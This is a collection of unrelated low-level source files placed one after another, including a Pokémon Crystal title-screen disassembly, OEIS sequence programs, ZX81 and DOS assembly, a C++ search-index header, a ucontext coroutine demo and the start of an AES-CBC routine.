text_end OakText4: text_far _OakText4 text_end OakText5: text_far _OakText5 text_end OakText6: text_far _OakText6 text_end OakText7: text_far _OakText7 text_end NamePlayer: farcall MovePlayerPicRight farcall ShowPlayerNamingChoices ld a, [wMenuCursorY] dec a jr z, .NewName call StorePlayerName farcall ApplyMonOrTrainerPals farcall MovePlayerPicLeft ret .NewName: ld b, NAME_PLAYER ld de, wPlayerName farcall NamingScreen call RotateThreePalettesRight call ClearTileMap call LoadFontsExtra call WaitBGMap xor a ld [wCurPartySpecies], a farcall DrawIntroPlayerPic ld b, SCGB_TRAINER_OR_MON_FRONTPIC_PALS call GetSGBLayout call RotateThreePalettesLeft ld hl, wPlayerName ld de, .Chris ld a, [wPlayerGender] bit PLAYERGENDER_FEMALE_F, a jr z, .Male ld de, .Kris .Male: call InitName ret .Chris: db "CHRIS@@@@@@" .Kris: db "KRIS@@@@@@@" Unreferenced_Function60e9: call LoadMenuHeader call VerticalMenu ld a, [wMenuCursorY] dec a call CopyNameFromMenu call CloseWindow ret StorePlayerName: ld a, "@" ld bc, NAME_LENGTH ld hl, wPlayerName call ByteFill ld hl, wPlayerName ld de, wStringBuffer2 call CopyName2 ret ShrinkPlayer: ldh a, [hROMBank] push af ld a, 32 ; fade time ld [wMusicFade], a ld de, MUSIC_NONE ld a, e ld [wMusicFadeID], a ld a, d ld [wMusicFadeID + 1], a ld de, SFX_ESCAPE_ROPE call PlaySFX pop af rst Bankswitch ld c, 8 call DelayFrames ld hl, Shrink1Pic ld b, BANK(Shrink1Pic) call ShrinkFrame ld c, 8 call DelayFrames ld hl, Shrink2Pic ld b, BANK(Shrink2Pic) call ShrinkFrame ld c, 8 call DelayFrames hlcoord 6, 5 ld b, 7 ld c, 7 call ClearBox ld c, 3 call DelayFrames call Intro_PlacePlayerSprite call LoadFontsExtra ld c, 50 call DelayFrames call RotateThreePalettesRight call ClearTileMap ret Intro_RotatePalettesLeftFrontpic: ld hl, IntroFadePalettes ld b, IntroFadePalettes.End - IntroFadePalettes .loop ld a, [hli] call DmgToCgbBGPals ld c, 10 call DelayFrames dec b jr nz, .loop ret IntroFadePalettes: dc 1, 1, 1, 0 dc 2, 2, 2, 0 dc 3, 3, 3, 0 dc 3, 3, 2, 0 dc 3, 3, 1, 0 dc 3, 2, 1, 0 .End Intro_WipeInFrontpic: ld a, $77 ldh [hWX], a call DelayFrame ld a, %11100100 call DmgToCgbBGPals .loop call DelayFrame ldh a, [hWX] sub $8 cp -1 ret z ldh [hWX], a jr .loop Intro_PrepTrainerPic: ld de, vTiles2 farcall GetTrainerPic xor a ldh [hGraphicStartTile], a hlcoord 6, 4 lb bc, 7, 7 predef PlaceGraphic ret ShrinkFrame: ld de, vTiles2 ld c, 7 * 7 predef DecompressGet2bpp xor a ldh [hGraphicStartTile], a hlcoord 6, 4 lb bc, 7, 7 predef PlaceGraphic ret Intro_PlacePlayerSprite: farcall GetPlayerIcon ld c, $c ld hl, vTiles0 call Request2bpp ld hl, wVirtualOAMSprite00 ld de, .sprites ld a, [de] inc de ld c, a .loop ld a, [de] inc de ld [hli], a ; y ld a, [de] inc de ld [hli], a ; x ld a, [de] inc de ld [hli], a ; tile id ld b, PAL_OW_RED ld a, [wPlayerGender] bit PLAYERGENDER_FEMALE_F, a jr z, .male ld b, PAL_OW_BLUE .male ld a, b ld [hli], a dec c jr nz, .loop ret .sprites db 4 ; y pxl, x pxl, tile offset db 9 * 8 + 4, 9 * 8, 0 db 9 * 8 + 4, 10 * 8, 1 db 10 * 8 + 4, 9 * 8, 2 db 10 * 8 + 4, 10 * 8, 3 CrystalIntroSequence: callfar Copyright_GFPresents jr c, StartTitleScreen farcall CrystalIntro StartTitleScreen: ldh a, [rSVBK] push af ld a, BANK(wBGPals1) ldh [rSVBK], a call .TitleScreen call DelayFrame .loop call RunTitleScreen jr nc, .loop call ClearSprites call ClearBGPalettes pop af ldh [rSVBK], a ld hl, rLCDC res rLCDC_SPRITE_SIZE, [hl] ; 8x8 call ClearScreen call WaitBGMap2 xor a ldh [hLCDCPointer], a ldh [hSCX], a ldh [hSCY], a ld a, $7 ldh [hWX], a ld a, $90 ldh [hWY], a ld b, SCGB_DIPLOMA call GetSGBLayout call UpdateTimePals ld a, [wIntroSceneFrameCounter] cp $5 jr c, .ok xor a .ok ld e, a ld d, 0 ld hl, .dw add hl, de add hl, de ld a, [hli] ld h, [hl] ld l, a jp hl .dw dw _MainMenu dw DeleteSaveData dw CrystalIntroSequence dw CrystalIntroSequence dw ResetClock .TitleScreen: farcall _TitleScreen ret RunTitleScreen: ld a, [wJumptableIndex] bit 7, a jr nz, .done_title call TitleScreenScene farcall SuicuneFrameIterator call DelayFrame and a ret .done_title scf ret Unreferenced_Function6292: ldh a, [hVBlankCounter] and $7 ret nz ld hl, wLYOverrides + $5f ld a, [hl] dec a ld bc, 2 * SCREEN_WIDTH call ByteFill ret TitleScreenScene: ld e, a ld d, 0 ld hl, .scenes add hl, de add hl, de ld a, [hli] ld h, [hl] ld l, a jp hl .scenes dw TitleScreenEntrance dw TitleScreenTimer dw TitleScreenMain dw TitleScreenEnd .Unreferenced_NextScene: ld hl, wJumptableIndex inc [hl] ret TitleScreenEntrance: ; Animate the logo: ; Move each line by 4 pixels until our count hits 0. ldh a, [hSCX] and a jr z, .done sub 4 ldh [hSCX], a ; Lay out a base (all lines scrolling together). ld e, a ld hl, wLYOverrides ld bc, 8 * 10 ; logo height call ByteFill ; Reversed signage for every other line's position. ; This is responsible for the interlaced effect. ld a, e xor $ff inc a ld b, 8 * 10 / 2 ; logo height / 2 ld hl, wLYOverrides + 1 .loop ld [hli], a inc hl dec b jr nz, .loop farcall AnimateTitleCrystal ret .done ; Next scene ld hl, wJumptableIndex inc [hl] xor a ldh [hLCDCPointer], a ; Play the title screen music. ld de, MUSIC_TITLE call PlayMusic ld a, $88 ldh [hWY], a ret TitleScreenTimer: ; Next scene ld hl, wJumptableIndex inc [hl] ; Start a timer ld hl, wTitleScreenTimer ld de, 73 * 60 + 36 ld [hl], e inc hl ld [hl], d ret TitleScreenMain: ; Run the timer down. ld hl, wTitleScreenTimer ld e, [hl] inc hl ld d, [hl] ld a, e or d jr z, .end dec de ld [hl], d dec hl ld [hl], e ; Save data can be deleted by pressing Up + B + Select. call GetJoypad ld hl, hJoyDown ld a, [hl] and D_UP + B_BUTTON + SELECT cp D_UP + B_BUTTON + SELECT jr z, .delete_save_data ; To bring up the clock reset dialog: ; Hold Down + B + Select to initiate the sequence. ldh a, [hClockResetTrigger] cp $34 jr z, .check_clock_reset ld a, [hl] and D_DOWN + B_BUTTON + SELECT cp D_DOWN + B_BUTTON + SELECT jr nz, .check_start ld a, $34 ldh [hClockResetTrigger], a jr .check_start ; Keep Select pressed, and hold Left + Up. ; Then let go of Select. .check_clock_reset bit SELECT_F, [hl] jr nz, .check_start xor a ldh [hClockResetTrigger], a ld a, [hl] and D_LEFT + D_UP cp D_LEFT + D_UP jr z, .clock_reset ; Press Start or A to start the game. .check_start ld a, [hl] and START | A_BUTTON jr nz, .incave ret .incave ld a, 0 jr .done .delete_save_data ld a, 1 .done ld [wIntroSceneFrameCounter], a ; Return to the intro sequence. ld hl, wJumptableIndex set 7, [hl] ret .end ; Next scene ld hl, wJumptableIndex inc [hl] ; Fade out the title screen music xor a ld [wMusicFadeID], a ld [wMusicFadeID + 1], a ld hl, wMusicFade ld [hl], 8 ; 1 second ld hl, wTitleScreenTimer inc [hl] ret .clock_reset ld a, 4 ld [wIntroSceneFrameCounter], a ; Return to the intro sequence. ld hl, wJumptableIndex set 7, [hl] ret TitleScreenEnd: ; Wait until the music is done fading. ld hl, wTitleScreenTimer inc [hl] ld a, [wMusicFade] and a ret nz ld a, 2 ld [wIntroSceneFrameCounter], a ; Back to the intro. ld hl, wJumptableIndex set 7, [hl] ret DeleteSaveData: farcall _DeleteSaveData jp Init ResetClock: farcall _ResetClock jp Init Unreferenced_Function639b: ; If bit 0 or 1 of [wTitleScreenTimer] is set, we don't need to be here. ld a, [wTitleScreenTimer] and %00000011 ret nz ld bc, wSpriteAnim10 ld hl, SPRITEANIMSTRUCT_FRAME add hl, bc ; over-the-top compicated way to load wc3ae into hl ld l, [hl] ld h, 0 add hl, hl add hl, hl ld de, .Data63ca add hl, de ; If bit 2 of [wTitleScreenTimer] is set, get the second dw; else, get the first dw ld a, [wTitleScreenTimer] and %00000100 srl a srl a ld e, a ld d, 0 add hl, de add hl, de ld a, [hli] and a ret z ld e, a ld d, [hl] ld a, SPRITE_ANIM_INDEX_GS_TITLE_TRAIL call _InitSpriteAnimStruct ret .Data63ca: ; frame 0 y, x; frame 1 y, x db 11 * 8 + 4, 10 * 8, 0 * 8, 0 * 8 db 11 * 8 + 4, 13 * 8, 11 * 8 + 4, 11 * 8 db 11 * 8 + 4, 13 * 8, 11 * 8 + 4, 15 * 8 db 11 * 8 + 4, 17 * 8, 11 * 8 + 4, 15 * 8 db 0 * 8, 0 * 8, 11 * 8 + 4, 15 * 8 db 0 * 8, 0 * 8, 11 * 8 + 4, 11 * 8 Copyright: call ClearTileMap call LoadFontsExtra ld de, CopyrightGFX ld hl, vTiles2 tile $60 lb bc, BANK(CopyrightGFX), 29 call Request2bpp hlcoord 2, 7 ld de, CopyrightString jp PlaceString CopyrightString: ; ©1995-2001 Nintendo db $60, $61, $62, $63, $64, $65, $66 db $67, $68, $69, $6a, $6b, $6c ; ©1995-2001 Creatures inc. next $60, $61, $62, $63, $64, $65, $66 db $6d, $6e, $6f, $70, $71, $72, $7a, $7b, $7c ; ©1995-2001 GAME FREAK inc. next $60, $61, $62, $63, $64, $65, $66 db $73, $74, $75, $76, $77, $78, $79, $7a, $7b, $7c db "@" GameInit:: farcall TryLoadSaveData call ClearWindowData call ClearBGPalettes call ClearTileMap ld a, HIGH(vBGMap0) ldh [hBGMapAddress + 1], a xor a ; LOW(vBGMap0) ldh [hBGMapAddress], a ldh [hJoyDown], a ldh [hSCX], a ldh [hSCY], a ld a, $90 ldh [hWY], a call WaitBGMap jp CrystalIntroSequence
; void in_wait_nokey(void) SECTION code_clib SECTION code_input PUBLIC in_wait_nokey EXTERN asm_in_wait_nokey defc in_wait_nokey = asm_in_wait_nokey
; A122199: Permutation of natural numbers: a recursed variant of A122155. ; 0,1,2,3,4,7,6,5,8,13,14,15,12,11,10,9,16,25,26,27,28,31,30,29,24,21,22,23,20,19,18,17,32,49,50,51,52,55,54,53,56,61,62,63,60,59,58,57,48,41,42,43,44,47,46,45,40,37,38,39,36,35,34,33,64,97,98,99,100,103,102 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 sub $0,1 mul $0,2 max $0,0 seq $0,48641 ; Partial sums of A003188 (Gray code). mov $2,$3 mul $2,$0 add $1,$2 mov $4,$0 lpe min $5,1 mul $5,$4 sub $1,$5 div $1,4 mov $0,$1
* Get information on a channel's owner * * Registers: * Entry Exit * D2 pointer to channel defn block preserved * A0 pointer to row entry preserved * A2 pointer to object pointer updated (+4) * section setup * include 'dev8_qram_keys' include 'dev8_ptr_keys' * xref cl_cpstr * xdef cl_gjbin * mkjbreg reg d1-d3/a0-a2 jstk_a0 equ $0c * cl_gjbin movem.l mkjbreg,-(sp) move.l d2,a1 move.l ch_owner(a1),d1 ; get owning job's ID move.l d1,cl_jobid(a0) ; fill it in beq.s mkj_sbas ; it's 0, so owned by SuperBASIC * moveq #0,d2 ; top of tree=system moveq #mt.jinf,d0 trap #1 ; and info on it tst.l d0 ; does it exist? bne.s mkj_nojb ; no, wow! * addq.l #6,a0 ; point to flag cmp.w #$4afb,(a0)+ ; is there one? beq.s mkj_cpnm ; yes, copy the name * lea anon(pc),a0 ; make name 'Anon' bra.s mkj_cpnm * mkj_nojb lea nojb(pc),a0 ; make name 'No owner' bra.s mkj_cpnm * mkj_sbas lea basic(pc),a0 ; make name 'SuperBASIC' * mkj_cpnm move.l a0,a2 ; from name move.l jstk_a0(sp),a1 ; to... add.w #cl_jobnm+2,a1 ; ...job name area move.l a1,a0 ; keep that jsr cl_cpstr(pc) ; copy job's name sub.l a0,a1 ; it was this long move.w a1,-(a0) ; fill in length move.l a0,d0 * movem.l (sp)+,mkjbreg move.l d0,(a2)+ ; fill in object pointer rts * nojb dc.w njend-*-2 dc.b 'No owner!!' njend * basic dc.w sbend-*-2 dc.b 'SuperBASIC' sbend * anon dc.w anend-*-2 dc.b '*** Anon ***' anend dc.w 0 * end
copyright zengfr site:http://github.com/zengfr/romhack 004114 clr.b ($17,A6) [1p+42, boss+42, enemy+42] 009CE4 clr.b ($42,A6) 009CE8 move.l #$a000000, ($2,A6) 00A2C6 dbra D0, $a2c0 00A314 clr.b ($42,A4) 00A318 clr.w ($44,A4) 00A720 clr.b ($42,A6) 00A724 move.b #$6, ($3,A6) 00BACA move.b #$0, ($42,A6) 00BAD0 move.b #$e, ($3,A6) 00BDF2 clr.b ($42,A6) [1p+A4] 00BDF6 move.b #$10, ($3,A6) 00BEB6 move.b #$2, ($42,A6) [1p+98] 00BEBC clr.b ($3,A6) [1p+42] 00CF48 clr.b ($42,A6) 00CF4C move.b #$1a, ($3,A6) 00D962 clr.b ($42,A6) 00D966 move.b #$e, ($3,A6) copyright zengfr site:http://github.com/zengfr/romhack
//////////////////////////////////////////////////////////////////////////////// /// DISCLAIMER /// /// Copyright 2016 by EMC Corporation, All Rights Reserved /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this file except in compliance with the License. /// You may obtain a copy of the License at /// /// http://www.apache.org/licenses/LICENSE-2.0 /// /// Unless required by applicable law or agreed to in writing, software /// distributed under the License is distributed on an "AS IS" BASIS, /// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. /// See the License for the specific language governing permissions and /// limitations under the License. /// /// Copyright holder is EMC Corporation /// /// @author Andrey Abramov /// @author Vasiliy Nabatchikov //////////////////////////////////////////////////////////////////////////////// #ifndef IRESEARCH_SEGMENT_READER_H #define IRESEARCH_SEGMENT_READER_H #include "index_reader.hpp" #include "utils/object_pool.hpp" NS_ROOT //////////////////////////////////////////////////////////////////////////////// /// @brief interface for a segment reader //////////////////////////////////////////////////////////////////////////////// class IRESEARCH_API segment_reader final : public sub_reader, private atomic_shared_ptr_helper<const sub_reader> { public: typedef atomic_shared_ptr_helper<const sub_reader> atomic_utils; typedef segment_reader element_type; // type same as self typedef segment_reader ptr; // pointer to self template<typename T> static bool has(const segment_meta& meta) NOEXCEPT; static segment_reader open(const directory& dir, const segment_meta& meta); segment_reader() = default; // required for context<segment_reader> segment_reader(const segment_reader& other) NOEXCEPT; segment_reader& operator=(const segment_reader& other) NOEXCEPT; explicit operator bool() const NOEXCEPT { return bool(impl_); } bool operator==(const segment_reader& rhs) const NOEXCEPT { return impl_ == rhs.impl_; } bool operator!=(const segment_reader& rhs) const NOEXCEPT { return !(*this == rhs); } segment_reader& operator*() NOEXCEPT { return *this; } const segment_reader& operator*() const NOEXCEPT { return *this; } segment_reader* operator->() NOEXCEPT { return this; } const segment_reader* operator->() const NOEXCEPT { return this; } virtual const sub_reader& operator[](size_t i) const NOEXCEPT override { assert(!i); return *this; } virtual const column_meta* column(const string_ref& name) const override { return impl_->column(name); } virtual column_iterator::ptr columns() const override { return impl_->columns(); } using sub_reader::docs_count; virtual uint64_t docs_count() const override { return impl_->docs_count(); } virtual doc_iterator::ptr docs_iterator() const override { return impl_->docs_iterator(); } // FIXME find a better way to mask documents virtual doc_iterator::ptr mask(doc_iterator::ptr&& it) const override { return impl_->mask(std::move(it)); } virtual const term_reader* field(const string_ref& name) const override { return impl_->field(name); } virtual field_iterator::ptr fields() const override { return impl_->fields(); } virtual uint64_t live_docs_count() const override { return impl_->live_docs_count(); } segment_reader reopen(const segment_meta& meta) const; void reset() NOEXCEPT { impl_.reset(); } virtual size_t size() const override { return impl_->size(); } using sub_reader::column_reader; virtual const columnstore_reader::column_reader* column_reader( field_id field) const override { return impl_->column_reader(field); } //////////////////////////////////////////////////////////////////////////////// /// @brief converts current 'segment_reader' to 'sub_reader::ptr' //////////////////////////////////////////////////////////////////////////////// explicit operator sub_reader::ptr() const NOEXCEPT { return impl_; } private: typedef std::shared_ptr<const sub_reader> impl_ptr; IRESEARCH_API_PRIVATE_VARIABLES_BEGIN impl_ptr impl_; IRESEARCH_API_PRIVATE_VARIABLES_END segment_reader(impl_ptr&& impl) NOEXCEPT; }; // segment_reade template<> /*static*/ IRESEARCH_API bool segment_reader::has<columnstore_reader>( const segment_meta& meta ) NOEXCEPT; template<> /*static*/ IRESEARCH_API bool segment_reader::has<document_mask_reader>( const segment_meta& meta ) NOEXCEPT; NS_END #endif
TITLE Buffered Keyboard Input (Keybd.asm) ; Test function 3Fh, read from file or device ; with the keyboard. Flush the buffer. ; Last update: 11/4/01 INCLUDE Irvine16.inc .data firstName BYTE 15 DUP(?),0 lastName BYTE 30 DUP(?),0 .code main PROC mov ax,@data mov ds,ax ; Input the first name: mov ah,3Fh mov bx,0 ; keyboard mov cx,LENGTHOF firstName mov dx,OFFSET firstName int 21h ; Disable the following line to see what happens ; when the buffer is not flushed: call FlushBuffer ; Input the last name: mov ah,3Fh mov bx,0 ; keyboard mov cx,LENGTHOF lastName mov dx,OFFSET lastName int 21h quit: call Crlf exit main ENDP ;------------------------------------------ FlushBuffer PROC ; ; Flush the standard input buffer. ; Receives: nothing. Returns: nothing ;----------------------------------------- .data oneByte BYTE ? .code pusha L1: mov ah,3Fh ; read file/device mov bx,0 ; keyboard handle mov cx,1 ; one byte mov dx,OFFSET oneByte ; save it here int 21h ; call MS-DOS cmp oneByte,0Ah ; end of line yet? jne L1 ; no: read another popa ret FlushBuffer ENDP END main
; A171069: G.f. -x*(x-1)*(1+x)/(1-x-12*x^2-x^3+x^4). ; Submitted by Christian Krause ; 0,1,1,12,25,169,480,2521,8425,38988,142129,615889,2352000,9845809,38543569,158429388,628446025,2558296441,10219534560,41389108489,165953373625,670283913612,2692893971041,10860865199521,43679923392000,176032915843681,708359967776161,2853574016092812,11486246621858425,46261461866904649,186241635377522400,750011850386143801,3019686690161458825,12159809068305802188,48959819565251929489,197147203224696870769,793805160385864368000,3196371609579172944529,12870220917868990301809,51823338189980233133388 lpb $0 sub $0,1 add $1,$3 sub $3,$2 add $4,$2 add $4,$3 sub $4,$5 add $4,$2 add $4,1 add $4,$2 mov $5,$4 mov $4,$2 mov $2,$3 add $2,$1 add $2,$1 add $4,$1 add $5,$4 mov $3,$5 add $5,1 lpe mov $0,$3
func: PUSH %14 MOV %15,%14 SUBS %15,$8,%15 SUBS %15,$16,%15 SUBS %15,$4,%15 @func_body: MOV $0,-4(%14) MOV $2,-8(%14) MOV $2,-12(%14) MOV -12(%14),%0 ADDS $1,-12(%14),-12(%14) MOV %0,-16(%14) MOV -8(%14),%1 ADDS $1,-8(%14),-8(%14) MOV %1,-20(%14) MOV $2,-24(%14) MOV 8(%14),-28(%14) ADDU -28(%14),8(%14),%2 MOV %2,%13 JMP @func_exit @func_exit: MOV %14,%15 POP %14 RET main: PUSH %14 MOV %15,%14 @main_body: MOV $0,%13 JMP @main_exit @main_exit: MOV %14,%15 POP %14 RET
#include <ucontext.h> #include <cstdio> #include <cstdlib> #define handle_error(msg) \ do { \ perror(msg); \ exit(EXIT_FAILURE); \ } while (00) namespace { ucontext_t uctx_main, uctx_func1, uctx_func2; void func1() { if (::swapcontext(&uctx_func1, &uctx_func2) == -1) handle_error("swapcontext"); } void func2() { if (::swapcontext(&uctx_func2, &uctx_func1) == -1) handle_error("swapcontext"); } } // namespace int main(int argc, char* argv[]) { char func1_stack[16384]; char func2_stack[16384]; if (::getcontext(&uctx_func1) == -1) handle_error("getcontext"); // 设置新的栈 uctx_func1.uc_stack.ss_sp = func1_stack; uctx_func1.uc_stack.ss_size = sizeof(func1_stack); // uctx_func1对应的协程执行完执行uctx_main uctx_func1.uc_link = &uctx_main; // 设置协作的工作函数 ::makecontext(&uctx_func1, func1, 0); if (::getcontext(&uctx_func2) == -1) handle_error("getcontext"); uctx_func2.uc_stack.ss_sp = func2_stack; uctx_func2.uc_stack.ss_size = sizeof(func2_stack); // uctx_func2执行完执行uctx_func1 uctx_func2.uc_link = (argc > 1) ? NULL : &uctx_func1; ::makecontext(&uctx_func2, func2, 0); // 保存当前执行上下文到uctx_main,然后开始执行uctx_func2对应的上下文 if (::swapcontext(&uctx_main, &uctx_func2) == -1) handle_error("swapcontext"); ::printf("main: exiting\n"); return 0; }
; A110332: Diagonal sums of number a triangle related to the Pell numbers. ; 1,-2,-1,-4,-5,-6,-11,-8,-19,-10,-29,-12,-41,-14,-55,-16,-71,-18,-89,-20,-109,-22,-131,-24,-155,-26,-181,-28,-209,-30,-239,-32,-271,-34,-305,-36,-341,-38,-379,-40,-419,-42,-461,-44,-505,-46,-551,-48,-599,-50,-649,-52,-701,-54,-755,-56,-811,-58,-869,-60,-929 mov $2,-2 mov $3,$0 sub $3,2 mov $4,1 add $4,$3 mov $0,$4 add $0,1 bin $2,$0 mov $0,$2 lpb $0,1 sub $1,$0 sub $0,2 add $1,1 lpe sub $1,1 add $0,$1 mov $1,$0 add $1,1
MAC PRINT jsr prns dc.b {0},0 ENDM MAC IPRINT jsr iprns dc.b {0},0 ENDM MAC ERROR jsr prns dc.b 13,CG_RED,CG_RVS,{0},CG_NRM,CG_WHT,13,0 ENDM MAC INPUT ldx #>{0} lda #<{0} ldy {2} jsr INPUT ENDM MAC ldxa ldx {0}+1 lda {0} ENDM MAC ldax ldx #>{0} lda #<{0} ENDM MAC stax stx {0}+1 sta {0} ENDM MAC staa sta {1} sta {1}+1 ENDM MAC movax ldax {1} stax {2} ENDM MAC pushax pha txa pha ENDM MAC popax pla tax pla ENDM MAC blt bcc {1} ENDM MAC bge bcs {1} ENDM
; ; Basic video handling for the ZX81 ; ; (HL)=char to display ; ;---------------------------------------------------------------- ; ; $Id: fputc_cons.asm,v 1.21+ (now on GIT) $ ; ;---------------------------------------------------------------- ; SECTION code_clib PUBLIC fputc_cons_native EXTERN asctozx81 EXTERN restore81 EXTERN filltxt EXTERN scrolluptxt EXTERN zx_dfile_addr EXTERN zx_coord_adj DEFC ROWS=24 DEFC COLUMNS=32 IF FORzx80 DEFC COLUMN=$4024 ; S_POSN_x DEFC ROW=$4025 ; S_POSN_y ELSE DEFC COLUMN=$4039 ; S_POSN_x DEFC ROW=$403A ; S_POSN_y ENDIF ;.ROW defb 0 ;.COLUMN defb 0 .fputc_cons_native ld hl,2 add hl,sp ld (charpos+1),hl ld a,(hl) ld l,0 ; character to fill with cp 12 ; CLS jp z,filltxt call zx_coord_adj call doput call zx_dfile_addr jp zx_coord_adj .doput IF STANDARDESCAPECHARS cp 10 ; CR? jr nz,NoLF ELSE cp 13 ; CR? jr nz,NoLF ENDIF .isLF xor a ld (COLUMN),a ; automatic CR ld a,(ROW) inc a ld (ROW),a cp ROWS ; out of screen? ret nz dec a ld (ROW),a jp scrolluptxt .NoLF cp 8 ; BackSpace jr nz,NoBS ld hl,COLUMN ld a,(hl) and a jr z,firstc dec (hl) ret .firstc ld a,(ROW) and a ret z dec a ld (ROW),a ld a,COLUMNS-1 ld (COLUMN),a ret .NoBS ; ---- output character ---- ld a,(COLUMN) cp COLUMNS call z,isLF .charpos ld hl,0 call asctozx81 bit 6,a ; filter the dangerous codes ret nz call zx_dfile_addr ld (hl),a ld hl,COLUMN inc (hl) ret
/* * Copyright 2015 David A. Boyuka II * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * test-mask-values.c * * Created on: Dec 4, 2013 * Author: David A. Boyuka II */ #include <cstdio> #include <vector> #include "pique/region/cblq/cblq.hpp" #include "pique/region/cblq/cblq-encode.hpp" int main(int argc, char **argv) { typedef CBLQSemiwords<2>::cblq_semiword_t cblq_semiword_t; CBLQSemiwords<2> sw(false); // Extraneous 1's on the end (most significant) sw.push((cblq_semiword_t)0b11110011); sw.push((cblq_semiword_t)0b11111001); sw.push((cblq_semiword_t)0b11110000); sw.push((cblq_semiword_t)0b11111111); sw.dump(); printf("\n\n"); // Expected: 1100 1001 0000 1111 CBLQSemiwords<2>::iterator it = sw.iterator_at(2); it.set(0b0001); it.next(); it.set(0b0010); it.next(); it.set(0b0011); sw.dump(); printf("\n\n"); // Expected: 1100 1001 1000 0100 1100 CBLQRegionEncoding<2>::print_cblq_word(sw.iterator_at(0).top_fullword()); printf("\n\n"); // Expected: 1100 CBLQRegionEncoding<2>::print_cblq_word(sw.iterator_at(1).top_fullword()); printf("\n\n"); // Expected: 1001 sw.push(0b1010); // word = 0101 sw.push_fullword(0b01000100); // word = 0101 sw.dump(); printf("\n\n"); // Expected: 1100 1001 1000 0100 1100 0101 0101 CBLQSemiwords<2> sw_tail(false); for (int i= 0; i < 64; i++) sw_tail.push(i & 0b1111); sw_tail.dump(); printf("\n\n"); // Expected 0000 1000 0100 ... 1111, all repeated 4 times sw.append(sw_tail); sw.dump(); printf("\n\n"); // Expected 1100 1001 1000 0100 1100 0101 0101, then 0000 1000 0100 ... 1111, all repeated 4 times CBLQSemiwords<2> sw2(true); sw2.push((cblq_semiword_t)0b0011); sw2.push((cblq_semiword_t)0b1001); sw2.push((cblq_semiword_t)0b0000); sw2.push((cblq_semiword_t)0b1111); sw2.dump(); printf("\n\n"); // Expected: 1100 1001 0000 1111 CBLQRegionEncoding<2>::print_cblq_word(sw2.iterator_at(0).top_fullword()); printf("\n\n"); // Expected: 2200 CBLQRegionEncoding<2>::print_cblq_word(sw2.iterator_at(1).top_fullword()); printf("\n\n"); // Expected: 2002 printf("Long iterator append test\n"); CBLQSemiwords<2> swlong(false); typename CBLQSemiwords<2>::iterator itlong = swlong.begin(); for (int i = 0; i < 64; i++) { itlong.set((cblq_semiword_t)0b1111); itlong.next(); } swlong.dump(); // Expected: // 1111, repeated 64 times }
; A108568: a(n) = prime(n) + prime(n+1) - 2n - 1. ; Submitted by Jamie Morken(s4) ; 2,3,5,9,13,17,21,25,33,39,45,53,57,61,69,79,85,91,99,103,109,117,125,137,147,151,155,159,163,179,195,203,209,219,229,235,245,253,261,271,277,287,297,301,305,317,339,353,357,361,369,375,385,399,409,419,425 mov $2,$0 seq $0,1043 ; Numbers that are the sum of 2 successive primes. mul $2,2 sub $0,$2 sub $0,3
section .data message db 'Factorial of the number 3 = ' messageLen equ $- message section .bss fact resb 1 section .text global _start _start: mov bx, 3 call ProcessFactorial add ax, 30h mov [fact], ax mov eax,4 mov ebx,1 mov ecx,message mov edx,messageLen int 80h mov eax,4 mov ebx,1 mov ecx,fact mov edx,1 int 80h mov eax,1 mov ebx, 0 int 80h ProcessFactorial: cmp bl, 1 jg Calculate mov ax, 1 ret Calculate: dec bl call ProcessFactorial inc bl mul bl ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2016 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; routine to do a 192 bit CBC AES encrypt ;;; Updates In and Out pointers at end ;include "mb_mgr_datastruct.asm" %include "reg_sizes.asm" %define MOVDQ movdqu ;; assume buffers not aligned %macro pxor2 2 MOVDQ XTMP, %2 pxor %1, XTMP %endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; Updates In and Out pointers at end ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;void aes_cbc_enc_192_x4(void *in, ;; uint8_t *IV, ;; uint8_t keys, ;; void *out, ;; uint64_t len_bytes); ; arg 1: IN: pointer to input (cipher text) ; arg 2: IV: pointer to IV ; arg 3: KEYS: pointer to keys ; arg 4: OUT: pointer to output (plain 